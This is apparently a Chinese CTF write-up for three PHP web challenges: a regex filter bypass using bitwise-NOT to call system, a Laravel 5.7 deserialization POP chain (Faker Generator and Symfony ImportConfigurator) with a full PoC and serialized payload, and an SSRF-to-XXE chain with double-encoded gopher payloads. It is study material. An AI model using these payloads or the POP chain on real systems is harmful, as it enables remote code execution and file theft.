hate-php
源码:
<?php
error_reporting(0);
if(!isset($_GET[‘code‘])){
highlight_file(__FILE__);
}else{
$code = $_GET[‘code‘];
if (preg_match(‘/(f|l|a|g|\.|p|h|\/|;|\"|\‘|\`|\||\[|\]|\_|=)/i‘,$code)) {
die(‘You are too good for me‘);
}
$blacklist = get_defined_functions()[‘internal‘];
foreach ($blacklist as $blackitem) {
if (preg_match (‘/‘ . $blackitem . ‘/im‘, $code)) {
die(‘You deserve better‘);
}
}
assert($code);
}
可以看到过滤了一些单个字符和所有的php内置函数
只要绕过正则匹配就好
可以用异或或者取反构造shell,这里用取反:
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
//echo ~(urldecode("%8D%9A%9E%9B%99%96%93%9A"));
?>
构造一下:
http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))
laravel
确定版本:
在vendor\laravel\framework\src\Illuminate\Foundation\Application.php
32行看到5.7.28版本,这个版本存在反序列化漏洞
然后利用搜索引擎找到了一堆复现
但是一跟进,发现PendingCommand.php
中析构函数删掉了掉用run()
寻找可用poc链
只能另辟蹊径,找到这篇文章:2018护网杯easy_laravel getshell
继续尝试跟进,看能不能利用这个链,发现vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
里的析构函数也被ban了:(嘤嘤嘤)
但是析构函数多的是,这个没了换一个就是了,主要是之前没法调用run()
执行命令,看下这个链里的Generator
类相关的执行命令函数且有没有被ban:
在vendor/fzaninotto/faker/src/Faker/Generator.php
里,发现function format($formatter, $arguments = array())
调用了call_user_func_array()
,如果它的输入能被控制,就能执行命令
继续跟进:
Generator.php源码:
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function addProvider($provider)
{
array_unshift($this->providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf(‘Unknown formatter "%s"‘, $formatter));
}
public function parse($string)
{
return preg_replace_callback(‘/\{\{\s?(\w+)\s?\}\}/u‘, array($this, ‘callFormatWithMatches‘), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
public function __get($attribute)
{
return $this->format($attribute);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
在277行发现魔术方法__call()
调用了format()
我们知道当调用一个不存在的方法时会自动调用__call()
,并且这里__call()
调用了format()
且参数可控,就可以执行命令了
接下来寻找合适的类完成它的触发:
在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
中找到合适的析构函数:
源码:
<?php
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\Routing\Route;
use Symfony\Component\Routing\RouteCollection;
class ImportConfigurator
{
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
final public function prefix($prefix, bool $trailingSlashOnRoot = true)
{
if (!\is_array($prefix)) {
$this->route->addPrefix($prefix);
if (!$trailingSlashOnRoot) {
$rootPath = (new Route(trim(trim($prefix), ‘/‘).‘/‘))->getPath();
foreach ($this->route->all() as $route) {
if ($route->getPath() === $rootPath) {
$route->setPath(rtrim($rootPath, ‘/‘));
}
}
}
} else {
foreach ($prefix as $locale => $localePrefix) {
$prefix[$locale] = trim(trim($localePrefix), ‘/‘);
}
foreach ($this->route->all() as $name => $route) {
if (null === $locale = $route->getDefault(‘_locale‘)) {
$this->route->remove($name);
foreach ($prefix as $locale => $localePrefix) {
$localizedRoute = clone $route;
$localizedRoute->setDefault(‘_locale‘, $locale);
$localizedRoute->setDefault(‘_canonical_route‘, $name);
$localizedRoute->setPath($localePrefix.(!$trailingSlashOnRoot && ‘/‘ === $route->getPath() ? ‘‘ : $route->getPath()));
$this->route->add($name.‘.‘.$locale, $localizedRoute);
}
} elseif (!isset($prefix[$locale])) {
throw new \InvalidArgumentException(sprintf(‘Route "%s" with locale "%s" is missing a corresponding prefix in its parent collection.‘, $name, $locale));
} else {
$route->setPath($prefix[$locale].(!$trailingSlashOnRoot && ‘/‘ === $route->getPath() ? ‘‘ : $route->getPath()));
$this->route->add($name, $route);
}
}
}
return $this;
}
final public function namePrefix(string $namePrefix)
{
$this->route->addNamePrefix($namePrefix);
return $this;
}
}
这里析构函数调用了addCollection
方法
pop链构造
我们还知道,当__destruct
销毁对象的时候会自动调用该方法,而调用一个不存在的方法时会自动调用__call()
,所以现在pop链就清楚了,先创建一个Generator
实例,然后将其赋值给ImportConfigurator
的$parent
。当ImportConfigurator
自动销毁时会调用Generator
的addCollection
方法,但是addCollection
方法在Generator
中不存在,所以自动调用Generator
中的__call()
方法,而__call()
方法调用了format
方法,format
里面的两个参数都可控,这样就可以RCE了。
poc:
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator{
private $parent;
private $route;
public function __construct( $parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("addCollection"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"bash -c ‘cat /flag‘");
echo(urlencode(serialize($pb)));
}
payload:
O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D
反序列化点直接全局搜索unserialize
,发现/index
路由:
GET
传值参数为p,拿到flag
do you know
这题很让人无语
index.php:
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode(‘&‘,$poc);
$a_key=explode(‘=‘,$ids[0])[0];
$b_key=explode(‘=‘,$ids[1])[0];
$a_value=explode(‘=‘,$ids[0])[1];
$b_value=explode(‘=‘,$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die(‘我什么都没有~‘);
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die(‘be it so‘);
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != ‘file‘) {
#add_debug_log($param, ‘post_data‘);
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == ‘file‘) {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == ‘xml‘) {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
读完源码,可以知道前两个QUERY_STRING
要键名不同值相同,然后会获取最后一个值作为url
,然后使用php的curl模块进行访问
看到提示xxe.php
先访问xxe.php,源码:
<?php
highlight_file(__FILE__);
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die(‘show me your identify‘);
}
libxml_disable_entity_loader(false);
$data = isset($_POST[‘data‘])?trim($_POST[‘data‘]):‘‘;
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",‘‘,$data);
$resp = ‘‘;
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
}
?>
<style>
div.main{
width:90%;
max-width:50em;
margin:0 auto;
}
textarea{
width:100%;
height:10em;
}
input[type="submit"]{
margin: 1em 0;
}
</style>
<div class="main">
<form action="" method="POST">
<textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars(‘‘);
?>
</textarea><br/>
<input style="" type="submit" value="submit"/>
???<a target="_blank" href="<?php echo basename(__FILE__).‘?s‘;?>">View Source Code</a>
</form>
<pre>
<?php echo htmlspecialchars($resp);?>
</pre>
</div>
就是一个简单的无过滤的xxe,需要post传值,并且只能本地访问
想到Gopher
协议
Gopher
的构造
由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
几个注意点:
- gopher协议没有默认端口,所以需要指定web端口
- 回车换行使用%0d%0a
- 如果多个参数,参数之间的&也需要进行URL编码
- 结尾也得使用%0d%0a作为数据包截止的标志
实际测试以及阅读文章中发现gopher存在以下几点问题
- PHP的curl默认不跟随302跳转
- curl7.43gopher协议存在%00截断的BUG,v7.45以上可用
- file_get_contents()的SSRF,gopher协议不能使用URLencode
- file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败
GET
GET的HTTP包:
GET /get.php?name=leon HTTP/1.1
Host: 127.0.0.1
构造后:
gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A
POST
必须的头部:
- Host
- Content-Type
- Content-Length
- 需要post的数据
POST的HTTP包:
POST /post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:9
name=leon
构造后:
gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A
然后来看本题:
需要用gopher协议向xxe.php
postxxepayload
测试过程中发现,直接向http://121.36.64.91/?a=leon&b=leon&c=http://127.0.0.1/xxe.php
postpayload
时抓包:
可以发现data
是被urlencode过的,所以gopher构造时,data
也应该是urlencode过的,因为这里是打ssrf,浏览器会解码一次,curl会再解码一次,所以需要构造的gopher数据进行二次编码:
构造的gopher:
POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1
data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E
二次编码后:(记得换行符替换)
POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
payload:
http://121.36.64.91/?a=leon&b=leon&c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
到这里根据提示读main.php和hints.php:
<?php
class A
{
public $object;
public $method;
public $variable;
function __destruct()
{
$o = $this->object;
$m = $this->method;
$v = $this->variable;
$o->$m();
global $$v;
$answer = file_get_contents(‘flag.php‘);
ob_end_clean();
}
}
class B
{
function read()
{
ob_start();
global $answer;
echo $answer;
}
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die(‘show me your identify‘);
}
if (isset($_GET[‘?‘])) {
unserialize($_GET[‘?‘])->CaptureTheFlag();
} else {
die(‘you do not pass the misc‘);
}
构造好pop链会发现ob_start()
开启了,所以无法输出
槽点1:$_GET[‘?‘]
乍一看啥都没有,直接复制丢进url栏一看,发现是不可见字符%E2%80%AC
,然后hints.php起初不知道是用来干嘛的,反序列化搞完了发现ob_start()
开启了无法输出内容,还以为hints.php是用来提示什么,后来caoyi小哥哥提示我两个数md5不同我才发现原来是用来提示%E2%80%AC
的。。。。???
槽点2:到现在做完了还不知道预期到底是啥,如果预期是利用$poc=$_SERVER[‘QUERY_STRING‘];
的特性,将flag
等被过滤的关键词用url编码绕过,那么直接在index.php用file协议就可以读到flag.php:
http://121.36.64.91/?a=leon&b=leon&leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
那就不需要到xxe.php去用gopher协议打xxe读flag.php,因为两个地方都是要url编码绕过关键词
如果预期是main.php绕过ob_start()进行输出,那我等一手wp,看完了再来复现